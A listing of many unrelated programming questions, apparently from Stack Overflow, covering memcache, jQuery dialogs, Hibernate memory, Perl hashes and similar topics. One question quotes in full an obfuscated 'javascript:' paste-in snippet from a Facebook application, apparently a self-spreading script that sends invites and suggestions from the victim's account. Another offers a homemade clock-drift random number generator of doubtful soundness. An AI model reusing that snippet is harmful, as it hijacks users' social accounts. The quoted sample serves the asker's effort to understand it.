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  • memcache is not storing data accross requests

    - by morpheous
    I am new to using memcache, so I may be doing something wrong. I have written a wrapper class around memcache. The wrapper class has only static methods, so is a quasi singleton. The class looks something like this: class myCache { private static $memcache = null; private static $initialized = false; public static function init() { if (self::$initialized) return; self::$memcache = new Memcache(); if (self::configure()) //connects to daemon { self::store('foo', 'bar'); } else throw ConnectionError('I barfed'); } public static function store($key, $data, $flag=MEMCACHE_COMPRESSED, $timeout=86400) { if (self::$memcache->get($key)!== false) return self::$memcache->replace($key, $data, $flag, $timeout); return self::$memcache->set($key, $data, $flag, $timeout); } public static function fetch($key) { return self::$memcache->get($key); } } //in my index.php file, I use the class like this require_once('myCache.php'); myCache::init(); echo 'Stored value is: '. myCache::fetch('foo'); The problem is that the myCache::init() method is being executed in full everytime a page is requested. I then remembered that static variables do not maintain state accross page requests. So I decided instead, to store the flag that indicates whether the server contains the start up data (for our purposes, the variable 'foo', with value 'bar') in memcache itself. Once the status flag is stored in memcache itself, It solves the problem of the initialisation data being loaded for every page request (which quite frankly, defeats the purpose of memcache). However, having solved that problem, when I come to fetch the data in memcache, it is empty. I dont understand whats going on. Can anyone clarify how I can store my data once and retrieve it accross page requests? BTW, (just to clarify), the get/set is working correctly, and if I allow memcache to load the initialisation data for each page request, (which is silly), then the data is available in memcache.

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  • forward invocation, by hand vs magically?

    - by John Smith
    I have the following two class: //file FruitTree.h @interface FruitTree : NSObject { Fruit * f; Leaf * l; } @end //file FruitTree.m @implementation FruitTree //here I get the number of seeds from the object f @end //file Fruit @interface Fruit : NSObject { int seeds; } -(int) countfruitseeds; @end My question is at the point of how I request the number of seeds from f. I have two choices. Either: Since I know f I can explicitly call it, i.e. I implement the method -(int) countfruitseeds { return [f countfruitseeds]; } Or: I can just use forwardInvocation: - (NSMethodSignature *)methodSignatureForSelector:(SEL)selector { // does the delegate respond to this selector? if ([f respondsToSelector:selector]) return [f methodSignatureForSelector:selector]; else if ([l respondsToSelector:selector]) return [l methodSignatureForSelector:selector]; else return [super methodSignatureForSelector: selector]; } - (void)forwardInvocation:(NSInvocation *)invocation { [invocation invokeWithTarget:f]; } (Note this is only a toy example to ask my question. My real classes have lots of methods, which is why I am asking.) Which is the better/faster method?

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  • jQueryUI Modal confirmation dialog on form submission

    - by DavidYell
    I am trying to get a modal confirmation dialog working when a user submits a form. My approach, I thought logically, would be to catch the form submission. My code is as follows, $('#multi-dialog-confirm').dialog({ autoOpen: false, height: 200, modal: true, resizable: false, buttons: { 'Confirm': function(){ //$(this).dialog('close'); return true; }, 'Cancel': function(){ $(this).dialog('close'); return false; } } }); $('#completeform').submit(function(e){ e.preventDefault(); var n = $('#completeform input:checked').length; if(n == 0){ alert("Please check the item and mark as complete"); return false; }else{ var q = $('#completeform #qty').html(); if(q > 1){ $('#multi-dialog-confirm').dialog('open'); } } //return false; }); So I'm setting up my dialog first. This is because I'm pretty certain that the scope of the dialog needs to be at the same level as the function which calls it. However, the issue is that when you click 'Confirm' nothing happens. The submit action does not continue. I've tried $('#completeform').submit(); also, which doesn't seem to work. I have tried removing the .preventDefault() to ensure that the form submission isn't completely cancelled, but it doesn't seem to make a difference between that and returning false. Not checking the box, show and alert fine. Might change to dialog at some point ;), clicking 'Cancel' closes the dialog and remains on the page, but the elusive 'Confirm' buttons seems to not continue with the form submission event. If anyone can help, I'd happily share my lunch with you! ;)

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  • Python's asyncore to periodically send data using a variable timeout. Is there a better way?

    - by Nick Sonneveld
    I wanted to write a server that a client could connect to and receive periodic updates without having to poll. The problem I have experienced with asyncore is that if you do not return true when dispatcher.writable() is called, you have to wait until after the asyncore.loop has timed out (default is 30s). The two ways I have tried to work around this is 1) reduce timeout to a low value or 2) query connections for when they will next update and generate an adequate timeout value. However if you refer to 'Select Law' in 'man 2 select_tut', it states, "You should always try to use select() without a timeout." Is there a better way to do this? Twisted maybe? I wanted to try and avoid extra threads. I'll include the variable timeout example here: #!/usr/bin/python import time import socket import asyncore # in seconds UPDATE_PERIOD = 4.0 class Channel(asyncore.dispatcher): def __init__(self, sock, sck_map): asyncore.dispatcher.__init__(self, sock=sock, map=sck_map) self.last_update = 0.0 # should update immediately self.send_buf = '' self.recv_buf = '' def writable(self): return len(self.send_buf) > 0 def handle_write(self): nbytes = self.send(self.send_buf) self.send_buf = self.send_buf[nbytes:] def handle_read(self): print 'read' print 'recv:', self.recv(4096) def handle_close(self): print 'close' self.close() # added for variable timeout def update(self): if time.time() >= self.next_update(): self.send_buf += 'hello %f\n'%(time.time()) self.last_update = time.time() def next_update(self): return self.last_update + UPDATE_PERIOD class Server(asyncore.dispatcher): def __init__(self, port, sck_map): asyncore.dispatcher.__init__(self, map=sck_map) self.port = port self.sck_map = sck_map self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.bind( ("", port)) self.listen(16) print "listening on port", self.port def handle_accept(self): (conn, addr) = self.accept() Channel(sock=conn, sck_map=self.sck_map) # added for variable timeout def update(self): pass def next_update(self): return None sck_map = {} server = Server(9090, sck_map) while True: next_update = time.time() + 30.0 for c in sck_map.values(): c.update() # <-- fill write buffers n = c.next_update() #print 'n:',n if n is not None: next_update = min(next_update, n) _timeout = max(0.1, next_update - time.time()) asyncore.loop(timeout=_timeout, count=1, map=sck_map)

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  • How to install a desktop shortcut (to a batch file) from a WiX-based installer that has "Run as Admi

    - by arathorn
    I'm installing a desktop shortcut (to a batch file) from a WiX-based installer -- how do I automatically configure this shortcut with the "Run as Administrator" setting enabled? The target OS is Windows Server 2008 R2, and the installer is running with elevated priveleges. Update: Thanks to the link provided by @Anders, I was able to get this working. I needed to do this in a C# CustomAction, so here is the C# version of the code: namespace CustomAction1 { public class CustomAction1 { public bool MakeShortcutElevated(string file_) { if (!System.IO.File.Exists(file_)) { return false; } IPersistFile pf = new ShellLink() as IPersistFile; if (pf == null) { return false; } pf.Load(file_, 2 /* STGM_READWRITE */); IShellLinkDataList sldl = pf as IShellLinkDataList; if (sldl == null) { return false; } uint dwFlags; sldl.GetFlags(out dwFlags); sldl.SetFlags(dwFlags | 0x00002000 /* SLDF_RUNAS_USER */); pf.Save(null, true); return true; } } [ComImport(), Guid("00021401-0000-0000-C000-000000000046")] public class ShellLink { } [ComImport(), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("45e2b4ae-b1c3-11d0-b92f-00a0c90312e1")] interface IShellLinkDataList { void GetFlags(out uint pdwFlags); void SetFlags(uint dwFlags); } }

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  • Returning Database Blobs in TurboGears 2.x / FCGI / Lighttpd extremely slow

    - by Tom
    Hey everyone, I am running a TG2 App on lighttpd via flup/fastcgi. We are reading images (~30kb each) from BlobFields in a MySQL database and return those images with a custom mime type via a controller method. Caching these images on the hard disk makes no sense because they change with every request, the only reason we cache these in the DB is that creating these images is quite expensive and the data used to create the images is also present in plain text on the website. Now to the problem itself: When returning such an image, things get extremely slow. The code runs totally fine on paster itself with no visible delay, but as soon as its running via fcgi/lighttpd the described phenomenon happens. I profiled the method of my controller that returns my blob, and the entire method runs in a few miliseconds, but when "return" executes, the entire app hangs for roughly 10 seconds. We could not reproduce the same error with PHP on FCGI. This only seems to happen with Turbogears or Pylons. Here for your consideration the concerned piece of source code: @expose(content_type=CUSTOM_CONTENT_TYPE) def return_img(self, img_id): """ Return a DB persisted image when requested """ img = model.Images.by_id(img_id) #get image from DB response.headers['content-type'] = 'image/png' return img.data # this causes the app to hang for 10 seconds

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  • exception in thread "main" java.lang.NoclassDefFoundError: cal/class

    - by Gaurav
    enter import java.io.*; class eval { double add(double a,double b) { return (a+b); } double sub(double a,double b) { return (a-b); } double mul(double a,double b) { return (a*b); } double div(double a,double b) { return (a/b); } } class cal extends eval { public static void main(String args[])throws IOException { eval a1=new eval(); try{ System.out.println("1) Add"); System.out.println("2) Subtract"); System.out.println("3) Multiply"); System.out.println("4) Divide"); System.out.println("5) Enter your choice"); BufferedReader br=new BufferedReader(new InputStreamReader(System.in)); int ch;ch=Integer.parseInt(br.readLine()); System.out.println("Enter two number"); double a;a=Integer.parseInt(br.readLine()); double b;b=Integer.parseInt(br.readLine()); switch(ch) { case 1: a1.add(a,b); break; case 2: a1.sub(a,b); break; case 3: a1.mul(a,b); break; case 4: a1.div(a,b); break; } } catch (IOException e) { System.out.println("Error occured, please restart application."); } } }

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  • How to write Java-like enums in C++ ?

    - by Rahul G
    Coming from Java background, I find C++'s enums very lame. I wanted to know how to write Java-like enums (the ones in which the enum values are objects, and can have attributes and methods) in C++. As an example, translate the following Java code (a part of it, sufficient to demonstrate the technique) to C++ : public enum Planet { MERCURY (3.303e+23, 2.4397e6), VENUS (4.869e+24, 6.0518e6), EARTH (5.976e+24, 6.37814e6), MARS (6.421e+23, 3.3972e6), JUPITER (1.9e+27, 7.1492e7), SATURN (5.688e+26, 6.0268e7), URANUS (8.686e+25, 2.5559e7), NEPTUNE (1.024e+26, 2.4746e7); private final double mass; // in kilograms private final double radius; // in meters Planet(double mass, double radius) { this.mass = mass; this.radius = radius; } private double mass() { return mass; } private double radius() { return radius; } // universal gravitational constant (m3 kg-1 s-2) public static final double G = 6.67300E-11; double surfaceGravity() { return G * mass / (radius * radius); } double surfaceWeight(double otherMass) { return otherMass * surfaceGravity(); } public static void main(String[] args) { if (args.length != 1) { System.err.println("Usage: java Planet <earth_weight>"); System.exit(-1); } double earthWeight = Double.parseDouble(args[0]); double mass = earthWeight/EARTH.surfaceGravity(); for (Planet p : Planet.values()) System.out.printf("Your weight on %s is %f%n", p, p.surfaceWeight(mass)); } } Any hep would be greatly appreciated! Thanks!

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  • How do I change the base class at runtime in C#?

    - by MatthewMartin
    I may be working on mission impossible here, but I seem to be getting close. I want to extend a ASP.NET control, and I want my code to be unit testable. Also, I'd like to be able to fake behaviors of a real Label (namely things like ID generation, etc), which a real Label can't do in an nUnit host. Here a working example that makes assertions on something that depends on a real base class and something that doesn't-- in a more realistic unit test, the test would depend on both --i.e. an ID existing and some custom behavior. Anyhow the code says it better than I can: public class LabelWrapper : Label //Runtime //public class LabelWrapper : FakeLabel //Unit Test time { private readonly LabelLogic logic= new LabelLogic(); public override string Text { get { return logic.ProcessGetText(base.Text); } set { base.Text=logic.ProcessSetText(value); } } } //Ugh, now I have to test FakeLabelWrapper public class FakeLabelWrapper : FakeLabel //Unit Test time { private readonly LabelLogic logic= new LabelLogic(); public override string Text { get { return logic.ProcessGetText(base.Text); } set { base.Text=logic.ProcessSetText(value); } } } [TestFixture] public class UnitTest { [Test] public void Test() { //Wish this was LabelWrapper label = new LabelWrapper(new FakeBase()) LabelWrapper label = new LabelWrapper(); //FakeLabelWrapper label = new FakeLabelWrapper(); label.Text = "ToUpper"; Assert.AreEqual("TOUPPER",label.Text); StringWriter stringWriter = new StringWriter(); HtmlTextWriter writer = new HtmlTextWriter(stringWriter); label.RenderControl(writer); Assert.AreEqual(1,label.ID); Assert.AreEqual("<span>TOUPPER</span>", stringWriter.ToString()); } } public class FakeLabel { virtual public string Text { get; set; } public void RenderControl(TextWriter writer) { writer.Write("<span>" + Text + "</span>"); } } //System Under Test internal class LabelLogic { internal string ProcessGetText(string value) { return value.ToUpper(); } internal string ProcessSetText(string value) { return value.ToUpper(); } }

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  • help me to choose between two software architecture

    - by alex
    // stupid title, but I could not think anything smarter I have a code (see below, sorry for long code but it's very-very simple): namespace Option1 { class AuxClass1 { string _field1; public string Field1 { get { return _field1; } set { _field1 = value; } } // another fields. maybe many fields maybe several properties public void Method1() { // some action } public void Method2() { // some action 2 } } class MainClass { AuxClass1 _auxClass; public AuxClass1 AuxClass { get { return _auxClass; } set { _auxClass = value; } } public MainClass() { _auxClass = new AuxClass1(); } } } namespace Option2 { class AuxClass1 { string _field1; public string Field1 { get { return _field1; } set { _field1 = value; } } // another fields. maybe many fields maybe several properties public void Method1() { // some action } public void Method2() { // some action 2 } } class MainClass { AuxClass1 _auxClass; public string Field1 { get { return _auxClass.Field1; } set { _auxClass.Field1 = value; } } public void Method1() { _auxClass.Method1(); } public void Method2() { _auxClass.Method2(); } public MainClass() { _auxClass = new AuxClass1(); } } } class Program { static void Main(string[] args) { // Option1 Option1.MainClass mainClass1 = new Option1.MainClass(); mainClass1.AuxClass.Field1 = "string1"; mainClass1.AuxClass.Method1(); mainClass1.AuxClass.Method2(); // Option2 Option2.MainClass mainClass2 = new Option2.MainClass(); mainClass2.Field1 = "string2"; mainClass2.Method1(); mainClass2.Method2(); Console.ReadKey(); } } What option (option1 or option2) do you prefer ? In which cases should I use option1 or option2 ? Is there any special name for option1 or option2 (composition, aggregation) ?

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  • C++ overide global operator comma gives error

    - by uray
    the second function gives error C2803 http://msdn.microsoft.com/en-us/library/zy7kx46x%28VS.80%29.aspx : 'operator ,' must have at least one formal parameter of class type. any clue? template<class T,class A = std::allocator<T>> class Sequence : public std::vector<T,A> { public: Sequence<T,A>& operator,(const T& a) { this->push_back(a); return *this; } Sequence<T,A>& operator,(const Sequence<T,A>& a) { for(Sequence<T,A>::size_type i=0 ; i<a.size() ; i++) { this->push_back(a.at(i)); } return *this; } }; //this works! template<typename T> Sequence<T> operator,(const T& a, const T&b) { Sequence<T> seq; seq.push_back(a); seq.push_back(b); return seq; } //this gives error C2803! Sequence<double> operator,(const double& a, const double& b) { Sequence<double> seq; seq.push_back(a); seq.push_back(b); return seq; }

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  • Obfuscated Javascript Code from Facebook Application?

    - by V.K.
    This is the code that was copied and pasted into my address bar: javascript:(function() {a='app117970624901700_jop';b='app117970624901700_jode';ifc='app117970624901700_ifc';ifo='app1179 70624901700_ifo';mw='app117970624901700_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return (c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)) {while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c]) p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e= ["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N \\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\ p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g \\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\ \F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d [e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e [15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e [5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x 70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document| mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})(); I ran it through http://jsbeautifier.org/ , but it didn't clean up the later part dealing with the "new RegExp"... anyone know what this code does and how to figure it out?

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  • Finding Local IP via Socket Creation / getsockname

    - by BSchlinker
    I need to get the IP address of a system within C++. I followed the logic and advice of another comment on here and created a socket and then utilized getsockname to determine the IP address which the socket is bound to. However, this doesn't appear to work (code below). I'm receiving an invalid IP address (58.etc) when I should be receiving a 128.etc Any ideas? string Routes::systemIP(){ // basic setup int sockfd; char str[INET_ADDRSTRLEN]; sockaddr* sa; socklen_t* sl; struct addrinfo hints, *servinfo, *p; int rv; memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_DGRAM; if ((rv = getaddrinfo("4.2.2.1", "80", &hints, &servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); return "1"; } // loop through all the results and make a socket for(p = servinfo; p != NULL; p = p->ai_next) { if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { perror("talker: socket"); continue; } break; } if (p == NULL) { fprintf(stderr, "talker: failed to bind socket\n"); return "2"; } // get information on the local IP from the socket we created getsockname(sockfd, sa, sl); // convert the sockaddr to a sockaddr_in via casting struct sockaddr_in *sa_ipv4 = (struct sockaddr_in *)sa; // get the IP from the sockaddr_in and print it inet_ntop(AF_INET, &(sa_ipv4->sin_addr.s_addr), str, INET_ADDRSTRLEN); printf("%s\n", str); // return the IP return str; }

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  • Hibernate: Walk millions of rows and don't leak memory

    - by Autocracy
    The below code functions, but Hibernate never lets go of its grip of any object. Calling session.clear() causes exceptions regarding fetching a joined class, and calling session.evict(currentObject) before retrieving the next object also fails to free the memory. Eventually I exhaust my heap space. Checking my heap dumps, StatefulPersistenceContext is the garbage collector's root for all references pointing to my objects. public class CriteriaReportSource implements JRDataSource { private ScrollableResults sr; private Object currentObject; private Criteria c; private static final int scrollSize = 10; private int offset = 1; public CriteriaReportSource(Criteria c) { this.c = c; advanceScroll(); } private void advanceScroll() { // ((Session) Main.em.getDelegate()).clear(); this.sr = c.setFirstResult(offset) .setMaxResults(scrollSize) .scroll(ScrollMode.FORWARD_ONLY); offset += scrollSize; } public boolean next() { if (sr.next()) { currentObject = sr.get(0); if (sr.isLast()) { advanceScroll(); } return true; } return false; } public Object getFieldValue(JRField jrf) throws JRException { Object retVal = null; if(currentObject == null) { return null; } try { retVal = PropertyUtils.getProperty(currentObject, jrf.getName()); } catch (Exception ex) { Logger.getLogger(CriteriaReportSource.class.getName()).log(Level.SEVERE, null, ex); } return retVal; } }

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  • how to rotate around each record in linq and show that in view

    - by Sadegh
    Hi, I have four tables in my database and i want to join that's and return record's and show that into searchController! My query is this: public IQueryable PerformSearch(string query) { if (!string.IsNullOrEmpty(query)) { var results = from tbl1 in context.Table1 join tbl2 in context.Table2 on tbl1.Id equals tbl2.Id join tbl3 in context.Table3 on tbl2.Id equals tbl3.Id join tbl4 in context.Table4 on tbl3.Id equals tbl4.Id where tbl1.col2.Contains(query) orderby tbl1.Count descending select new { col1 = tbl1.Col1, col1 = tbl1.Col1, col1 = tbl1.Col1, . . . }; return results.AsQueryable(); } else return null; } And this method called in SearchController as below: public class SearchController : System.Web.Mvc.Controller { public System.Web.Mvc.ActionResult Search(System.String query) { var search = new Search(); ViewData["result"] = search.PerformSearch(query); return View("Search"); } } I don't know how i can rotate around each record (plus vs intellisense feature) returned by PeformSeach method and show that in view! Also is this a good way? thanks in advance

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  • PHP: passing a function with parameters as parameter

    - by Oden
    Hey, I'm not sure that silly question, but I ask: So, if there is an anonymous function I can give it as another anonymous functions parameter, if it has been already stored a variable. But, whats in that case, if I have stored only one function in a variable, and add the second directly as a parameter into it? Can I add parameters to the non-stored function? Fist example (thats what i understand :) ): $func = function($str){ return $str; }; $func2 = function($str){ return $str; }; $var = $func($func2('asd')); var_dump($var); // prints out string(3) "asd" That makes sense for me, but what is with the following one? $func = function($str){ return $str; }; $var = $func(function($str = "asd"){ return $str; }); var_dump($var); /** This prints out: object(Closure)#1 (1) { ["parameter"]=> array(1) { ["$str"]=> string(10) "" } } But why? */ And at the end, can someone recommend me a book or an article, from what i can learn this lambda coding feature of php? Thank you in advance for your answers :)

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  • Managed bean property value not set to null

    - by Vladimir
    Hi! I'm new to JSF, so this question might be strange. I have an inputText component's value bound to managed bean's property of type Float. I need to set property to null when inputText field is empty, not to 0 value. It's not done by default, so I added converter with the following method implemented: public Object getAsObject(FacesContext arg0, UIComponent arg1, String arg2) throws ConverterException { if (StringUtils.isEmpty(arg2)) { return null; } float result = Float.parseFloat(arg2); if (result == 0) { return null; } return result; } I registered converter, and assigned it to inputText component. I logged arg2 argument, and also logged return value from getAsObject method. By my log I can see that it returns null value. But, I also log setter property on backing bean and argument is 0 value, not null as expected. To be more precise, it is setter property is called twice, once with null argument, second time with 0 value argument. It still sets backing bean value to 0. How can I set value to null? Thanks in advance.

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  • How do I interact with a Perl object that has a hash attribute?

    - by brydgesk
    I have a class with several variables, one of which is a hash (_runs): sub new { my ($class, $name) = @_; my $self = { _name => $name, ... _runs => (), _times => [], ... }; bless ($self, $class); return $self; } Now, all I'm trying to do is create an accessor/mutator, as well as another subroutine that pushes new data into the hash. But I'm having a hell of a time getting all the referencing/dereferencing/$self calls working together. I've about burned my eyes out with "Can't use string ("blah") as a HASH ref etc etc" errors. For the accessor, what is 'best practice' for returning hashes? Which one of these options should I be using (if any)?: return $self->{_runs}; return %{ $self->{_runs} }; return \$self->{_runs}; Further, when I'm using the hash within other subroutines in the class, what syntax do I use to copy it? my @runs = $self->{_runs}; my @runs = %{ $self->{_runs} }; my @runs = $%{ $self->{_runs} }; my @runs = $$self->{_runs}; Same goes for iterating over the keys: foreach my $dt (keys $self->{_runs}) foreach my $dt (keys %{ $self->{_runs} }) And how about actually adding the data? $self->{_runs}{$dt} = $duration; %{ $self->{_runs} }{$dt} = $duration; $$self->{_runs}{$dt} = $duration; You get the point. I've been reading articles about using classes, and articles about referencing and dereferencing, but I can't seem to get my brain to combine the knowledge and use both at the same time. I got my _times array working finally, but mimicking my array syntax over to hashes didn't work.

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  • Flex : providing data with a PHP Class

    - by Tristan
    Hello, i'm a very new user to flex (never use flex, nor flashbuilder, nor action script before), but i want to learn this langage because of the beautiful RIA and chart it can do. I watched the video on adobe : 1 hour to build your first program but i'm stuck : On the video it says that we have to provide a PHP class for accessing data and i used the example that flash builder gave (with zend framework and mysqli). I never used those ones and it makes a lot to learn if i count zen + mysqli. My question is : can i use a PHP class like this one ? What does flash builder except in return ? i hear that was automatic. example it may be wrong, i'm not very familiar with classes when acessing to database : <?php class DBConnection { protected $server = "localhost"; protected $username = "root"; protected $password = "root"; protected $dbname = "something"; protected $connection; function __construct() { $this->connection = mysql_connect($this->server, $this->username, $this->password); mysql_select_db($this->dbname,$this->connection); mysql_query("SET NAMES 'utf8'", $this->connection); } function query($query) { $result = mysql_query($query, $this->connection); if (!$result) { echo 'request error ' . mysql_error($this->connection); exit; } return $result; } function getAll() { $req = "select * from servers"; $result = query($req) return $result } function num_rows() { return mysql_num_rows($result); } function end() { mysql_close($this->connection); } } ?> Thank you,

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  • Did I implement clock drift properly?

    - by David Titarenco
    I couldn't find any clock drift RNG code for Windows anywhere so I attempted to implement it myself. I haven't run the numbers through ent or DIEHARD yet, and I'm just wondering if this is even remotely correct... void QueryRDTSC(__int64* tick) { __asm { xor eax, eax cpuid rdtsc mov edi, dword ptr tick mov dword ptr [edi], eax mov dword ptr [edi+4], edx } } __int64 clockDriftRNG() { __int64 CPU_start, CPU_end, OS_start, OS_end; // get CPU ticks -- uses RDTSC on the Processor QueryRDTSC(&CPU_start); Sleep(1); QueryRDTSC(&CPU_end); // get OS ticks -- uses the Motherboard clock QueryPerformanceCounter((LARGE_INTEGER*)&OS_start); Sleep(1); QueryPerformanceCounter((LARGE_INTEGER*)&OS_end); // CPU clock is ~1000x faster than mobo clock // return raw return ((CPU_end - CPU_start)/(OS_end - OS_start)); // or // return a random number from 0 to 9 // return ((CPU_end - CPU_start)/(OS_end - OS_start)%10); } If you're wondering why I Sleep(1), it's because if I don't, OS_end - OS_start returns 0 consistently (because of the bad timer resolution, I presume). Basically, (CPU_end - CPU_start)/(OS_end - OS_start) always returns around 1000 with a slight variation based on the entropy of CPU load, maybe temperature, quartz crystal vibration imperfections, etc. Anyway, the numbers have a pretty decent distribution, but this could be totally wrong. I have no idea.

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  • Help me clean up this crazy lambda with the out keyword

    - by Sarah Vessels
    My code looks ugly, and I know there's got to be a better way of doing what I'm doing: private delegate string doStuff( PasswordEncrypter encrypter, RSAPublicKey publicKey, string privateKey, out string salt ); private bool tryEncryptPassword( doStuff encryptPassword, out string errorMessage ) { ...get some variables... string encryptedPassword = encryptPassword(encrypter, publicKey, privateKey, out salt); ... } This stuff so far doesn't bother me. It's how I'm calling tryEncryptPassword that looks so ugly, and has duplication because I call it from two methods: public bool method1(out string errorMessage) { string rawPassword = "foo"; return tryEncryptPassword( (PasswordEncrypter encrypter, RSAPublicKey publicKey, string privateKey, out string salt) => encrypter.EncryptPasswordAndDoStuff( // Overload 1 rawPassword, publicKey, privateKey, out salt ), out errorMessage ); } public bool method2(SecureString unencryptedPassword, out string errorMessage) { return tryEncryptPassword( (PasswordEncrypter encrypter, RSAPublicKey publicKey, string privateKey, out string salt) => encrypter.EncryptPasswordAndDoStuff( // Overload 2 unencryptedPassword, publicKey, privateKey, out salt ), out errorMessage ); } Two parts to the ugliness: I have to explicitly list all the parameter types in the lambda expression because of the single out parameter. The two overloads of EncryptPasswordAndDoStuff take all the same parameters except for the first parameter, which can either be a string or a SecureString. So method1 and method2 are pretty much identical, they just call different overloads of EncryptPasswordAndDoStuff. Any suggestions? Edit: if I apply Jeff's suggestions, I do the following call in method1: return tryEncryptPassword( (encrypter, publicKey, privateKey) => { var result = new EncryptionResult(); string salt; result.EncryptedValue = encrypter.EncryptPasswordAndDoStuff( rawPassword, publicKey, privateKey, out salt ); result.Salt = salt; return result; }, out errorMessage ); Much the same call is made in method2, just with a different first value to EncryptPasswordAndDoStuff. This is an improvement, but it still seems like a lot of duplicated code.

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  • Unity in C# for Platform Specific Implementations

    - by DxCK
    My program has heavy interaction with the operating system through Win32API functions. now i want to migrate my program to run under Mono under Linux (No wine), and this requires different implementations to the interaction with the operating system. I started designing a code that can have different implementation for difference platform and is extensible for new future platforms. public interface ISomeInterface { void SomePlatformSpecificOperation(); } [PlatformSpecific(PlatformID.Unix)] public class SomeImplementation : ISomeInterface { #region ISomeInterface Members public void SomePlatformSpecificOperation() { Console.WriteLine("From SomeImplementation"); } #endregion } public class PlatformSpecificAttribute : Attribute { private PlatformID _platform; public PlatformSpecificAttribute(PlatformID platform) { _platform = platform; } public PlatformID Platform { get { return _platform; } } } public static class PlatformSpecificUtils { public static IEnumerable<Type> GetImplementationTypes<T>() { foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies()) { foreach (Type type in assembly.GetTypes()) { if (typeof(T).IsAssignableFrom(type) && type != typeof(T) && IsPlatformMatch(type)) { yield return type; } } } } private static bool IsPlatformMatch(Type type) { return GetPlatforms(type).Any(platform => platform == Environment.OSVersion.Platform); } private static IEnumerable<PlatformID> GetPlatforms(Type type) { return type.GetCustomAttributes(typeof(PlatformSpecificAttribute), false) .Select(obj => ((PlatformSpecificAttribute)obj).Platform); } } class Program { static void Main(string[] args) { Type first = PlatformSpecificUtils.GetImplementationTypes<ISomeInterface>().FirstOrDefault(); } } I see two problems with this design: I can't force the implementations of ISomeInterface to have a PlatformSpecificAttribute. Multiple implementations can be marked with the same PlatformID, and i dont know witch to use in the Main. Using the first one is ummm ugly. How to solve those problems? Can you suggest another design?

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  • iphone table view check mark accessory problem

    - by Pankaj Kainthla
    I have a table with 50 rows. I want to select particular rows with checkmark accessory but when i select some rows and scroll down the table then i see pre checked rows. I know that table cell are reused but i want to emit this problem what can i do about this? - (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView { return 1; } - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { // return [array count]; return 50; } // Customize the appearance of table view cells. - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"Cell"; TableViewCell *cell = (TableViewCell *)[tableView dequeueReusableCellWithIdentifier:CellIdentifier]; if (cell == nil) { cell = [[[TableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease]; } cell.textLabel.text=[NSString stringWithFormat:@"%i",[indexPath row]]; return cell; } // Override to support row selection in the table view. - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { UITableViewCell *cell = [tableView cellForRowAtIndexPath:indexPath]; if (cell.accessoryType == UITableViewCellAccessoryNone) { cell.accessoryType = UITableViewCellAccessoryCheckmark; } else { cell.accessoryType = UITableViewCellAccessoryNone; }

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  • Javascript AJAX function not working properly

    - by Or W
